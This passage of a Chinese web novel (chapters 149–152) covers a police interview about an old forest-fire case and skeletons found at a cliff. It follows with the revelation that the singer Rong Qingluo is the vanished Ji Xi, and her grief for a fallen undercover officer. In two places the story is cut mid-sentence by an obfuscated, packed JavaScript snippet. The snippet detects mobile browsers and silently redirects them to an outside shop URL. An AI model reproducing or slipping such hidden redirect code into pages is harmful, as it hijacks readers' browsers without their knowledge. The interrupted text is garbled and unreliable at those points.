『无论百次重逢、千次相遇，纵使你早已面目全非、改头换面，我的目光始终会被你吸引。』 『你腕间的红线，丝丝缕缕牵引着我的心弦。』 『必然地，我会将你刻在我的心上。不是你的容颜，不是你的名字，而是你这个人。』 ——【第四卷完】—— 149. 青山白骨 ——【卷五·归墟】—— 『夜来皎月悬，烈火岂独明。』 『漆黑夜色下最清冷却也最皎洁的月×复仇之路上最热烈也最赤诚的火焰』 // 南庐市公安局，询问室。 丁警官为对面的男人倒上一杯热水，温和道：“程先生，你别紧张，我们找你，只是想要了解一些情况。” “十五年前，在我市南山森林公园曾经发生过一场火灾，对此，你有印象吗？” 南山森林公园？ 乍一听见这地名，程景逸面上勉力维持着不露声色，心中却难免跌宕。 这个地方，对他而言，印象不可谓不深。 这么多年里，一直牢牢地印刻在他脑海里，不敢有丝毫忘却。 毕竟，当年在南山森林公园里发生的事情，是一切的转折点。 从那以后，一别经年，他和季希就再未见过。 他一直祈祷着，期待着上天赐予他一场久别重逢的际遇。 可茫茫人海，季希，你究竟在哪里呢？ 丁警官轻扣桌面，将程景逸的思绪拉回来：“你在想什么？” 程景逸：“对这个地方，我有印象。” 丁警官一直密切关注着程景逸神态的变化，见此，心中暗道，也许这次还真没找错人。 他抬手示意：“那你说说当时具体都发生了什么。” 程景逸的目光变得悠远，他回忆道：“那会儿我还在读高中，当时应该是高一下学期，学校组织我们高一年级到南山森林公园春游。” 丁警官：“你记得火是怎么烧起来的吗？” 程景逸摇头：“我比其他学生到得晚。等我赶到公园时，山上就已经飘起浓烟了。后来如您所知，山火蔓延。” 丁警官：“你为什么去那么晚？” 程景逸：“其实那天我刚好家里有点事情，但是我又不想错过和同学们一起春游的机会，所以等事情办完后，就急匆匆地赶去公园。” 丁警官：“当时发生火灾，所有人都在往外跑，狂奔逃命，你为什么反而逆流而上，你进山做什么？” 程景逸的心跳仿佛出现一刹那的停息。 丁警官又问了一遍：“所有人都在逃命，你为什么逆流而上？” 程景逸反应过来，忙道：“当然是救人。” 为了把那一秒钟的不自然遮掩过去，程景逸接着又反问道：“那种时候除了想尽一切办法救人以外，还能做什么？还是说，救人犯法？” 丁警官：“救人当然不犯法，我也从未表现出这种意思。” “我只是询问你做出这种行为的原因，但你对此的反应，似乎有些——”丁警官琢磨着，选择一个词，“过于激动。” 程景逸：“我激动吗？我只是觉得这个问题有显而易见的答案。” 丁警官：“虽然你表现得很冷静，但你的话变多了。” “你看上去不像是个话多的人。” 程景逸：“但其实我是个话痨。” 丁警官不欲就这个话题和对方进行过多的纠缠，他跳过前面的铺垫和过渡，直接问道：“程先生，相较于救人，你那时候似乎更像是在有目的性地寻找着某个人的踪迹。” “当时，你在找谁？” 程景逸：“我找的当然是我的同学。我救我的同学，还需要理由吗？” 丁警官没有顺着程景逸的思路接话，只是说出他的判断：“你找的人，是季希。” 这个放在程景逸心尖上的名字时隔这么多年突然被人提起，有那么一个瞬间，程景逸感到欣喜若狂，全身的血液都沸腾起来。 警官这么问，难道季希被找到了？ 但是很快，理智回炉。 程景逸意识到，丁警官这般笃定地谈起季希，说明已经调查过季希，可既然调查过，还来问他做什么？ 莫非—— 季希这么多年失去音信，是因为陷入到什么龙潭虎穴，所以才会被警方盯上？ 程景逸虽然还什么都不知道，但是直觉告诉他，不要给季希添麻烦，是以，他佯作不知：“季什么？丁警官，你刚说的是谁？” 丁警官：“季希。” 程景逸还是一脸迷茫：“哪两个字？” 丁警官：“季节的季，希望的希。” “我当时是看到谁有危险就救谁，当时在山崖附近看到了一个昏迷的女生，便把她背下了山，”程景逸作出若有所思状，恍然道，“原来那个女生叫季希吗？” “对。她就是季希。”丁警官，“那个女生当时昏迷的位置在哪里？” 程景逸回忆片刻，才道：“时间过去太久，我实在想不起来那地方叫什么了。那是很遥远的记忆，我脑海里只有零星的画面——全是灼烧的热浪，以及冲天的火焰。” 丁警官起身，从旁边的架子上取出一幅南山森林公园的地图，摆在程景逸面前：“你根据这个地图，回忆一下。” 程景逸看到地图，便知道丁警官这是有备而来。 难道当年南山森林公园的这场大火另有隐情？ 可隐情不就是这火是林氏集团的一个员工为逃出警察的包围圈而放的吗？ 听说这个员工当时绑了林晶。 林晶是林氏集团的千金，这个员工想用林晶威胁老林董。 难道报纸上的报道有误？ 但当初父亲就是因为林氏千金被绑架这件事情，才紧急把他和妹妹程景心一起送出国读书。 那时候，南庐市的有钱人家多多少少都有些人人自危，他父亲也不例外，就怕留在南庐市会有人绑架他和妹妹。 反倒是大哥程景凌因为当时正值大学毕业季，便逃脱了被父亲强制送出国的命运，而是留在国内，接手程家的产业。 从那以后，天各一方，程景逸就和季希失联了。 但程景逸在国外时，其实一直有拜托哥哥程景凌帮他在国内寻找季希。 后来等程景逸毕业回国工作后，除了托在警局工作的邵平风帮忙找季希，还让他这些年一直资助的那些人也帮忙打听情况。 但是一直杳无音信。 季希这个人，就像是人间蒸发了一般，在世上没有留下任何痕迹。 以前，程景逸一直没有对此起疑，只以为是自己能 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“前阵子有个开发商看中了翠屏岩下面的那块自然岩壁，想在那里弄个户外攀岩的区域。” “开发风景区、推动旅游业嘛，那开发商投资了不少钱，森林公园当然大力支持。” 程景逸：“这是好事。” 丁警官：“谁说不是呢，哪想到动工之后，竟然在山里挖出一具白骨。” “我们介入调查以后，陆续又挖出两具白骨。在这三具白骨中，有两具是成年男性的骨骼，一具是未成年少女的骨骼。” 他紧紧盯着程景逸，问道：“你觉得——” “这具少女的白骨，会是谁的？” “我怎么会知道？”程景逸一脸莫名，他瞅着丁警官的神色，联想到丁警官对季希很是关注，他眼眸微暗，不可置信道，“不会是季希的尸骨吧？” 说完，他又立马自我否定，喃喃自语道：“怎么会呢？不会的，不会的……” “毕竟我当初可是千辛万苦地把她背下山，还送她到医院，留下住院费。” “她明明会在医院接受治疗，怎么会死在山崖下呢？” “不会的，那不会是季希……” 可说到这里，程景逸又不敢完全保证，只好看向丁警官，在句尾缀上一个表示不确定的语气词，希望能得到答案：“……吧？” 程景逸虽然极力掩饰，但他神色间对季希的担忧无法作伪。 丁警官眼见着程景逸一层一层地显露出深藏的情绪。 那是慌乱，是忧虑，是害怕，是不可否认的在意，是无法掩饰的真心。 片刻，丁警官眼里极快地闪过一丝了然，他拍拍程景逸的肩膀：“还说不认识季希？” 程景逸在内心里挣扎一番。 想要知道季希如今究竟是死是活的那股急切，终究还是盖过心底的重重顾虑。 程景逸坦然承认道：“我确实认识季希，我们都是市一中的学生。” “所以丁警官，那具白骨到底是不是季希的？” 150. 青山白骨 丁警官没有卖关子，见程景逸这般担心，他爽快道：“不是。” 程景逸心口微松，长舒一口气。 丁警官又道：“但是这个人，和季希有点儿关系。” 程景逸凝眉：“是谁？” 丁警官：“我们从这具骨架的骸骨和牙齿中提取DNA进行检测，最后确认死亡人员名叫叶时冉。” 程景逸疑惑：“叶，时，冉？” 丁警官：“她死前也是你们南庐市一中的高一学生，和你，和季希，都是同一届的。“ 程景逸眯眼：“我对这个名字没有任何印象。” 丁警官：“叶时冉和季希是同班同学。根据走访调查，当年有人看见季希和叶时冉一起去过翠屏岩。” “而发现叶时冉尸骨的地方，就在你当年找到季希的翠屏岩的崖下。” 程景逸愣住。 如果是这样，假若当年他去得再早一些，是不是可以多救一个人？ 丁警官：“你当时救下季希以后，把她送到了市人民医院，对吧？” 程景逸点头，没有否认。 丁警官：“我们去医院调查过，市人民医院没有关于季希进行过治疗的任何信息。” 这与程景逸了解到的情况相同。 程景逸找了季希这么多年，第一个调查的当然就是季希消失的地方——医院。 可是医院完全没有季希的相关记录，就好像季希压根没有去过医院一样。 但当初，明明是他亲自将人送到医院进行治疗的。 丁警官又道：“我们合理怀疑，季希一定知道些什么。” “你当时找到季希时，她是什么状态？” 程景逸皱眉：“丁警官，你不会怀疑是季希杀害的叶时冉吧？” 他立马把他知道的相关情况全盘托出：“我在翠屏岩附近找到季希时，她是昏迷状态。” “按照常理来说，在那次火灾中，如果一个人是清醒且行动无障碍的，那么这个人应该是能够逃跑的。” “也正因此，那次南山森林公园虽然突发大火，但其实绝大部分学生都是安全下山的，毕竟南山森林公园很大，只要距离起火地点不近，都是有时间离开的。” “可是当我找到季希时，她的身上有很多烧伤，而且有被打的痕迹。” “她大概率在山火燃起以前就已经陷入昏迷，所以才没能在火势加重之前逃跑下山。” “另外，我想我应该告诉丁警官一个事实，在火灾发生以前，季希长期处于校园霸凌之中。” “她是受害者。” “我怀疑季希是因为遭受霸凌才会昏迷在山上。“ “如果是这样的话，那场大火的罪魁祸首到底是当时报纸所说的歹徒，还是那些霸凌者，这些都有待重新考虑。” “况且那时候季希也只是一个未成年的小姑娘，她怎么可能杀死两名成年男性？” 丁警官一直在倾听，这时突然插嘴道：“虽然发现这三具白骨的地点相隔很近，都在翠屏岩崖下，但那两名成年男性的死亡时间在十二年左右，而叶时冉的死亡时间则在十五年左右。” 程景逸：“他们的死亡时间不一样？” 电光火石之间程景逸突然明白：“你是说在南山森林公园的同一个地方，发生了不止一起谋杀案，而这些案件发生的时间不一样。” “同一个空间，不同的时间，相同的结局……”程景逸被自己突如其来冒出的这句话镇住。 这像是一句谶语，实在是不祥之兆。 他连忙闭嘴。 丁警官接道：“对，那两具男性白骨涉及到的是另一个旧案，该案件如今已经被侦破，凶手已落网。” “叶时冉这个属于另一个案件。” “我们了解到，季希和叶时冉是同桌，而季希又极有可能就在当时的案发现场，那么她大概率知道真相，所以我们必须找到她。” “可关键就是，目前找不到季希这个人，她就像是凭空蒸发了一样。” 程景逸沉思片刻，突然道：“你说这个叶时冉和季希是同桌？” “我想起来，高一下学期开学以后，季希和我提过，她换的新同桌，是新转来的转学生，是一个很可爱的女生。” 丁警官：“叶时冉的资料显示，她确实是在高一下学期因为父母工作原因从邻市转到南庐市一中读书。看来季希和你说的这个同桌就是叶时冉。” “她还告诉过你什么？” 程景逸：“没说过别的了。” 丁警官：“你还能联系上季希吗？” 程景逸苦笑道：“实不相瞒，我也找了季希很多年。” 丁警官回想起刚刚程景逸对季希表现出的在意，挑眉道：“为什么？你喜欢她？” 程景逸满脸落寞：“对，我喜欢她，可是我把她弄丢了。” 丁警官安慰地拍拍程景逸的肩膀：“如果我们找到她，方便的话，我可以告诉你。” 程景逸：“谢谢你，丁警官。” 丁警官继续问了一些问题，程景逸逐一作答。 程景逸感觉这个丁警官准备问到天荒地老，不把他脑子里的信息榨干便不罢休。 这时，询问室的房门被扣响，丁警官被同事叫出去。 过了许久，丁警官再回来时，没有继续问什么问题。 但他看自己的眼神很复杂，程景逸不由问道：“丁警官是有什么话想要对我说吗？” 丁警官摇摇头，只是道：“程先生，感谢你的配合，现在你可以离开了。” 程景逸：“好，丁警官再见。” 走出询问室，已经是中午。 一直在房间里回忆过去，回到外面的现实世界，程景逸有一种恍如隔世的感觉。 邵平风靠在警局外的墙角抽烟，脸色阴沉。 程景逸踏出警局大门便瞧见邵平风这么一副阴郁的样子，他走上前来，纳闷道：“怎么了，谁惹你了？” 邵平风沉默着把烟熄灭，扔进一旁的垃圾桶，半晌才像回魂了一般，说道：“没人惹我，我就是生自己的气。” 说话间，两人已经走到停车场。 邵平风没上自己的车，而是径直坐上了程景逸的副驾。 程景逸指着不远处的一辆车：“你车不是在那儿？” 邵平风：“我蹭下你的车，顺便再蹭你一顿饭，不行？” 程景逸插上车钥匙：“可以。走，哥今天带你去吃大餐。” 路上，两人皆是沉默。 经过一个红绿灯的时候，程景逸开口：“南山森林公园的那几具白骨是什么情况？听丁警官说，其中两具成年男性白骨的那个案子已经破了？” 邵平风：“是。说起来，这个事还挺巧，刚好就和我们专案组负责的那个十几年前的旧案有关系。” “你还记得在你们学校取景的那个校园综艺……叫什么来着……” 程景逸提醒道：“《青衿与长衫》。” 邵平风：“对，《青衿与长衫》。月初的时候，就在这个综艺开拍之前，你不是回来了一趟，还在我家吃了一顿饭吗？” 程景逸：“嗯。” 邵平风：“那天饭吃到一半，我老婆不是接到一个电话提前就走了吗？” “你知道，她是做摄影工作室的。那天她手下的人恰好就在林场那边给人拍照，刚好遇到挖出白骨这事儿，她手底下人就被扣在林场了。” “我老婆赶着去处理这件事，没想到在林场还遇到了她之前参加登山探险队认识的一个西北大哥。” 美食总是令人印象深刻，程景逸很快回忆起来：“噢，是教弟妹做烤全羊的那个人吗？” 邵平风：“对，就是他。” 程景逸：“怎么提起他来？” 邵平风：“这个大哥——就是杀害那两名成年男性的凶手。” 程景逸奇道：“那他这不是自投罗网？” 邵平风：“要不说被害人儿子的这招引蛇出洞玩得好呢。” “什么意思？”程景逸，“这个人的作案动机是什么，竟然要悬崖抛尸？” 邵平风叹道：“还不是为了争夺遗产。” “你知道为什么南山森林公园的继续开发搁置了那么久，那个林场却能在去年年底建好吗？” “就是被害人的儿子这么多年都在寻找他父亲和大伯的尸骨，所以专门投了好大一笔资金来开发那块儿。” “一方面是为了方便他自己查，另一方面就是要引蛇出洞。” “凶手如果心虚怕真的挖出些什么，极有可能会来看看。” “可惜最后在崖底什么都没挖出来。被害人的儿子请专家来看，又问了森林公园的工作人员，最后才得知，由于南庐市连年夏季暴雨，前些年有一回，文笔峰的崖壁出现多处坍塌的情况。” “因此，被害人的儿子猜测也许他亲人的尸骨经过这么多年早就埋进那山石里了，这才又投了一笔钱开发攀岩项目，想借此挖山找人。” “没想到最后不仅找到了他父亲和大伯的尸骨，还找到一个小姑娘的尸骨，引出另一桩案件。” “你说这好好的风景区，怎么却处处埋白骨啊。” 说罢，邵平风觑了程景逸一眼，见他没什么反应，凑过去问道：“老程，你就不好奇那个小姑娘是谁吗？” 程景逸：“丁警官告诉我了，死者名叫叶时冉，也是市一中的，和咱们同届。” 邵平风：“老丁肯定没告诉你另一件事情。” 见程景逸有些走神，邵平风补充道：“这件事和季希有很大的关系。” 一个急刹车，程景逸把车停在了路边。 邵平风：“这儿不能停，待会儿罚款。” 程景逸解开安全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586992|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带：“你来开车，直接去我家。” 两人下车，交换了座位。 汽车在邵平风的掌控下重新上路。 他一手握着方向盘，另一只手拍了程景逸肩膀一下，有些稀奇：“有那么大反应吗，连车都开不了？” 程景逸无奈地捏捏眉心，承认道：“没错，我手抖。而我还要留着这条命去见季希。所以劳你大驾开下车。” “另外，你现在不要告诉我任何与季希有关的消息，等到了我家，坐定之后，你再仔仔细细地和我说。” 邵平风：“那你这次回来是住在哪儿？回过老宅了吗？” “没回程宅，”程景逸打开车窗，“就住在我市中心那套房。” 邵平风感慨道：“万恶的资本家啊。” 程景逸：“你酸什么，程氏集团如今归我大哥管，又不在我手里。” 邵平风：“那不是你自己无意于此吗？非要去当老师，还跑去青山镇那么一个鸟不拉屎的地方。” 说完，邵平风又觉得自己的话有歧义，赶紧道：“我声明啊，我只是嘴欠，但是我对青山镇没有恶意，那里风景还是很好的。” 程景逸：“青山镇确实穷。” 邵平风：“但架不住你这个有钱公子哥非要去呀，不过你每年都有集团分红拿，比我们这种普通人还是好很多，我就不替你瞎操心了。” 程景逸只道：“人各有志罢了。” 两人回到程景逸的住处。 路上点的外卖已经送到，程景逸把餐盒一个个取出摆在餐桌上，又是摆盘又是拿酒，还切了些水果，总之把餐桌摆得满满当当。 等两人坐定，距离进门已经二十分钟过去。 邵平风看着程景逸还想到处找事情做的忙碌样子，颇有些无语，他起身把程景逸摁在椅子上：“我饿了，别转悠了。这上面就是有钉子，你也得赶紧坐下来。” 程景逸：“行吧。” 邵平风拿起筷子开始吃菜：“你说说这么多年，我来你家，你什么时候这么招待过我，还摆盘？” 程景逸盛了点汤润润胃：“我哪次亏待你了？” “那倒是没有，”邵平风话锋一转，“不过，你就这么不敢听我说季希的事情呀？” “是怕听到什么不好的消息吗？” 程景逸沉默地抓过一只酒瓶：“喝这个吧。” 话毕，他就着瓶口猛灌了几口下肚。 邵平风见状，只得舍弃杯子，也用瓶子喝。 两人沉默着喝了会儿酒，程景逸才道：“你不懂，什么叫做，近乡情更怯。” 邵平风：“我虽然不明白这种情绪，但是我理解你。” “那你还听吗？” 程景逸：“说吧。” 邵平风扔下一个炸弹：“容清洛就是季希。” 程景逸又手抖了，这回连酒瓶都拿不稳了。 他把酒瓶放到桌上，机械地重复着刚刚听到的话语：“容清洛，就是，季希？” 眼里都是茫然，程景逸提出质疑：“她们俩脸长得都不一样？” 但是回忆起当初季希在南山森林公园那场大火中被烧伤的模样，程景逸又有些犹豫了。 季希当初那个状况，其实是需要做整形修复手术的。 他被强制送出国前还专门和父亲提过这个事情，请了南庐市最有名的专家给季希治疗。 那个医生姓严，程景逸回国后还专门去找过那名医生，竟然得知严医生已经去世好几年了的消息。 找到季希的又一条线索当时就这么断了。 见程景逸皱着眉沉思，似乎是无法接受，邵平风又道：“容清洛涉及到一些比较特殊的事情，相关信息都需要保密，所以我只能告诉你最后的结论。” “但是对你而言，知道结论就已经足够了吧。” 程景逸摇头轻声道：“远远不够。” 他的声音由小变大，突然激动起来：“我想知道过程，我想知道她这些年都在做什么，想知道她过得好不好，想知道许多许多，想知道关于她的一切。” 邵平风：“她这些年，是真的很不容易。” “我从来没这么佩服过哪个女生。” “巾帼不让须眉的具象化，也就是这样了。” 程景逸知道邵平风不会无的放矢，他这样说必然有这样说的原因。 是以程景逸立马追问道：“她做了什么？” 邵平风：“我就多说一句话，其他的，你就别问了。” “林氏集团的覆灭，她在其中发挥了大作用。” 程景逸震惊道：“这么多年，她竟都在复仇？” “所以她是为了复仇才改头换面、更换名字，变成如今的模样。” “她肯定付出了常人难以想象的努力，才能成功撼动林氏。” “她一个人竟然承受了这么多……” 151. 青山白骨 花开两朵，各表一枝，被程景逸讨论着的容清洛此时也已经离开警局。 得知叶时冉的尸骨被找到，这本是好事，了却她多年夙愿。 可容清洛仍然止不住地悲伤。 只因与此而来的还有另一则消息。 时间倒回到几个小时以前。 程景逸所在房间的隔壁，还有一间询问室。 容清洛便坐在里面回答警官的问题。 容清洛最开始只说她七月初去南山森林公园为的是采风，是为写新歌找灵感。 然而警官调取了一路的监控，发现她先爬上文笔峰翠屏岩，后又到崖下新建的林场，熟识的模样完全不像是第一次去那里。 由于整个路线和她的行为太过有目的性，她如果不能很好地解释清楚，就会被当成叶时冉被害案的嫌疑人。 为了摆脱杀人嫌疑，容清洛只好道出所有真相。 她告诉警官她以前的名字是季希。 她告诉众人，十五年前她是如何走进黑夜，四年前她是如何见证林家覆灭。 容清洛看似云淡风轻地讲述出所有，可实际上，每说一句，她的心都在泣血。 她说完一切，坐在她对面的警官念出她最初的名字：“季，希。” 好久没有听见有人这般喊她。 容清洛颇为感慨：“是我。” 那警官道：“你刚才简单提到一句，说你在给你自己和叶时冉复仇的过程中，给我们的卧底做过线人，可有证明？” 容清洛并不近视，今天要来警局，她没有化妆，只戴了副平光的素颜眼镜。 听到警官这样问，她抬手摘下眼镜，将那双澄澈的眼睛彻底露了出来。 容清洛郑重道：“我是警方的线人。” “在江省宁川市警方的线人名单里，有我的名字。” “七年前，我正式签署线人协议，在宁川市警局秘密备案。” “所有的一切，我在签协议时都已经全部交代清楚。” 讲到这里，停顿一下，容清洛才继续道：“我的上线是一名卧底警察，化名是晏行铮。我们都喊他晏先生。” “我只知道他本姓周，但却不知道他的真名是什么。” 南庐市这边的警察立即联系宁川市警方进行核实，加密的资料很快便传过来，内容和容清洛所说一般无二，杀害叶时冉的凶手就是四年前已经在宁川市落网的林晶。 原来当年因为整件事情涉及到还需继续执行卧底潜伏任务的晏行铮，所以资料的加密等级很高。 尽管那时候叶时冉的父母被宁川市警方找到并告知真相，但二老当初因为丧女且女儿尸骨无存而备受打击，一夜白头，身体早就不堪重负，无非就是因为一直怀有找女儿的愿望这才支撑着一口气，真相大白以后，二老这口气散了，没过多久便相继去世了。 这才导致南庐市警方在发现叶时冉的白骨后，不知道叶时冉案已经被侦破。 听到这个原因，容清洛意识到什么，问道：“既然如今资料可以被看见，就说明晏行铮已经结束任务了，对吗？” “可以告诉我，他在哪里吗？” 那警官叹口气，才道：“对不起，你见不到他了。” 容清洛不解：“为什么？” 警官满脸沉痛：“这位同志，已经于两年前在执行任务的过程中——” “牺牲了。” 容清洛不敢置信：“他牺牲在哪里？” 警官只道：“对不起，这是机密。” 容清洛：“他葬在哪里？” 警官：“应该是没有找到尸骨的……” 晏行铮那样的人，怎么可以只得到这样的结局与归宿。 容清洛心痛难忍，哽咽道：“那我……可以知道他的真名吗？” 警官：“对不起，按照规定，我不能告诉你。而且为了保密，这个资料上也没有写。” 容清洛哑口无言，只剩下沉默。 等警官说她可以离开以后，容清洛立马起身，没有任何耽搁，开上车，径直向南庐市城郊的高速路口驶去。 这会儿是正午时分，直到握着方向盘的容清洛感到头晕目眩，心里慌得厉害，她才意识到自己还没吃饭。 上高速前，她看到路边有便利店，便戴上口罩，下车买了点面包和牛奶，在车里囫囵吞枣地吃完，补充好能量。 下车扔垃圾时，容清洛看到垃圾箱旁有个老奶奶拿着蛇皮袋在箱子里翻找废瓶子。 那老奶奶刚好找到一个啤酒罐，这提醒了容清洛。 她又去了一趟便利店，搬回来一箱酒放在后备箱里。 容清洛准备上路时，天上突然飘起雨丝，整片天空雾蒙蒙的。 她把车窗打开，任由雨点随着风飘洒进来。 容清洛将手伸出窗外，看着远处雾绕青山，天色苍茫。 她不禁想—— 老天，你也是想，送他一程吗？ 很多时候，也许苍天，比世人更有情。 眼泪默默流淌，等意识到的时候，容清洛早已泪流满面。 最后她实在忍不住，把车窗关上，趴在方向盘上失声痛哭，不能自已。 这是她第一次体会到，什么叫肝肠寸断。 *** 开了几个小时的高速，容清洛终于到达宁川市。 宁川市这边倒是个艳阳天。 容清洛把车停在宁川市警察局附近，给平叔打电话。 四年前，一切结束时，容清洛曾问过平叔晏行铮的下落。 平叔只说晏行铮在执行秘密任务。 分别时，平叔给她留了电话，说以后如果她陷入麻烦，或者需要人证明她的经历，可以去找他。 这几年来，容清洛无数次想要拨打电话询问平叔有关晏行铮的事情，但她不敢。 如今—— 人都死了…… 不会再有什么敢不敢的了。 她只恨自己以前不敢。 电话接通，因为是个新号码，对面没想到竟然会是她打来的。 容清洛说明来意以后，平叔直接让她到警局找他。 容清洛戴着口罩走进警局，找到平叔的办公室，这才知道，平叔原来姓武，如今已经是宁川市刑侦大队的队长。 看来平叔不搞卧底工作以后，发展得还挺不错。 二人寒暄一阵，容清洛道：“武队，我想去看看他。” 此时已经是傍晚，武队拿出车钥匙：“正好也到了下班时间，我带你去吧。” 容清洛开车跟在武队的车后面，一路在城市盘根错杂的街道上穿梭，渐渐远离市中心。 夏日里天黑得晚，二人来到郊区的一座墓园时，晚霞笼罩着肃穆的青山。 武队从后备箱里拿出纸钱。 容清洛则从后备箱里抱出那箱酒。 这是她上高速前在便利店买的，那个小店最贵的一箱酒，被她买走了。 这箱子并不轻，武队想帮她拿。 但容清洛拒绝了：“我能为他做的事，已经不多了。” 武队沉默，他能理解容清洛，所以没有执意帮忙，只是转身，带着容清洛走过长长的山道，来到一块墓碑前。 看见墓碑上写着的“周衡立”三个字，容清洛突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586993|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然想起，她和晏行铮的最后一面，晏行铮曾经告诉过她一句暗号。 她喃喃出声：“衡门之下，可以自立。” 武队：“是的，他叫周衡立，这个名字，他在四年前，就已经告诉过你，用他的方式。” 容清洛恍然。 “周衡立。” “周衡立。” 容清洛念着这个名字，只感觉那已经消失的人离她更加遥远。 她拆开箱子，把酒一瓶瓶打开，又一瓶瓶慢慢地、一点一点地倾洒在墓前。 在这样的时刻，这一小方天地似乎再也感受不到时间的流逝。 她只是认真地、极其专注地，为他斟酒。 就在这寂静的流水声中，容清洛突然道：“我还是更习惯喊他晏先生。” 这样称呼他，仿佛又回到他还活着的时候。 她宁愿一辈子不知道他的真名字，也不愿意他以墓碑的方式出现在眼前。 她高举酒瓶，轻轻触碰墓碑上他的名字：“晏先生，别来无恙。” 武队：“我也更习惯叫他阿铮。” 毕竟那是暗夜里潜行时陪伴着彼此那么多年的名字。 容清洛把整箱酒都祭奠完以后，和武队一起烧纸钱。 暮色四合，天地寂静。 只有这里的火光明灭。 忽地，在某个时刻，火苗蹿起，变得炽热而猛烈。 晏先生，是你来了，对吗？ 容清洛感受着拂过发梢的清风，盯着火堆低声道：“他是怎么死的？” 武队：“那时候，我们根据阿铮传回来的情报进行收网，把毒枭的老巢一窝端了，抓回来的毒贩说……” 见武队停顿，容清洛抬起头，追问道：“说什么？” 武队一个彪形大汉，此时也红了眼眶，语带哽咽道：“阿铮和我们的另一位同志，因为身份暴露，被吊死在毒寨大门前，最后尸体被毒贩们火化了。” 容清洛如遭雷击。 听到晏行铮结局的那一霎那，容清洛整个人都有些摇晃，蹲着烧纸钱的腿脚实在支撑不住，她直接跌坐在地上。 她却顾不得地上的泥土灰尘，强撑着从地上爬起来，拽住武队的领子，把有好几个她重的武队硬是从地上拽得半蹲起来：“你再说一遍，晏行铮怎么死的？” 武队神色亦是黯然，没和容清洛计较，开口带着哭腔：“阿铮是被吊死的，之后尸骨被火化了。” 容清洛反复确认。 武队反复回答。 最后，容清洛终于确信不是自己的耳朵坏掉了，她听得没错。 她松开武队的领口，过了许久，又问道：“那他的骨灰呢？” 武队：“被毒贩们扔到尸骨坑里了，我亲自带人去挖，但是那里死的人太多了，根本分不清到底哪一捧土是哪一个人的骨灰。只好带回来最像的两捧土，为阿铮和另一个同志安葬。” 他指着墓碑道：“这下面，还埋着阿铮最喜欢的一身警服。” “尸骨无存呐，”容清洛仰起头，望着繁星璀璨的天幕，想从其中窥得一丝天机，实在无果，只能留下一句无力的质问，“你觉得，这像话吗？” 无语问苍天，可又有谁，能解此惑？ 武队劝道：“请你节哀。” 火堆最后的一点光亮熄灭，二人离开墓园。 分别时，武队喊住容清洛：“容小姐，我有个东西要转交给你。” 说着，他从车后座上取出一个牛皮纸袋：“这里面是一封信。” “阿铮在最后一次出任务前，留下好几封信。” “这封，是给你的。” 152. 青山白骨 容清洛星夜赶路，待她驱车从宁川市回到南庐市，已至凌晨，算是第二日了。 走进家门，累得发昏，她却顾不上其他，径直拿着牛皮纸袋走进书房。 晏行铮留给她的这封信，容清洛在路上一直没舍得拆。 她总觉得拆信应该有点仪式感。 最起码不能在毫无防护的户外。 如今她安坐于书桌前，手指在纸袋封口处的那行字迹——“容清洛亲启”上摩挲，却始终没能下定决心打开。 不知道晏行铮会对她说什么。 在晏行铮心里，她是可以获得出任务前一封信的关系吗？ 不过，现在说这些又有什么意义呢？ 无论里面留存着怎样的内容，对现实而言，什么都无法改变。 因为，信的主人—— 已经不在了。 思及此，容清洛心中涌起一种名为不忍或者不舍的情绪。 如果现在拆开来看，以后，她就彻底没有任何念想了。 容清洛想给未来的自己，留一点希望。 最终，她没动牛皮纸袋的封口，而是将其妥善收好，锁进保险柜。 机票早已订好，明天上午前往青山镇继续录制《青衿与长衫》这档综艺。 那么，从现在算起，接下来的二十几个小时里，她可以不用管任何人、任何事，只需要坐在这里，放空，放空。 就这样放空一切。 全身心地，去想一个人。 更深夜阑，所有人都在沉睡。 万籁俱寂，此间无声，容清洛靠在椅背上，脑海里闪过晏行铮的音容笑貌。 自从复仇成功以来一直仿佛黏在她脸皮上的那张爱豆偶像面具，或者说是正常人面具，第一次发生皲裂。 空洞，冷漠，厌世，自我厌弃，所有的情绪以眼睛为中心向四周弥散开来。 仿佛披着人皮的恶鬼，外边裹着的那张人皮，终于支撑不住，由内而外地撕裂开，露出内里那具伤痕累累、甚至有些地方已经腐烂的白骨。 只是一个瞬间，这套普通的公寓，在容清洛心里变成一座隔绝人间与地狱的坟墓，一块断开生机与死亡、过去与未来的无人之境。 而她一个人，躲在这片无人之境—— 想他。 晏行铮—— 竟然死了。 怎么就死了呢…… 酸涩涌上心头，容清洛张着嘴，却发不出一点声音，无声的悲鸣混合着泪水，顷刻间吞没所有。 她就这般，枯坐着。 再没动过。 直至天际露白，有飞鸟落在阳台上，叽叽喳喳的叫声将容清洛从悲痛的呆滞里惊醒。 这样僵坐一晚，容清洛只感觉肩颈一阵酸涩。 她动动脖颈，似乎只有这般自虐的疼痛才能稍微抵消她心中的悲恸一二。 容清洛起身，再次来到保险柜前。 想了一夜，她始终没想明白原因。 为什么？ 为什么晏行铮只得到最后这般结局？ 为什么？ 凭什么？ 她一天都等不下去，她现在就需要这希望。 容清洛拆开牛皮纸袋，打开信封，拿出一沓有些泛黄的纸张。 展开之后，呈现在她眼前的，竟然不是一行行文字，而是一张张多格漫画。 晏行铮留给她的不是信，而是画。 容清洛从头开始看起。 第一张漫画的背景一片漆黑，像是某栋建筑的顶楼天台。 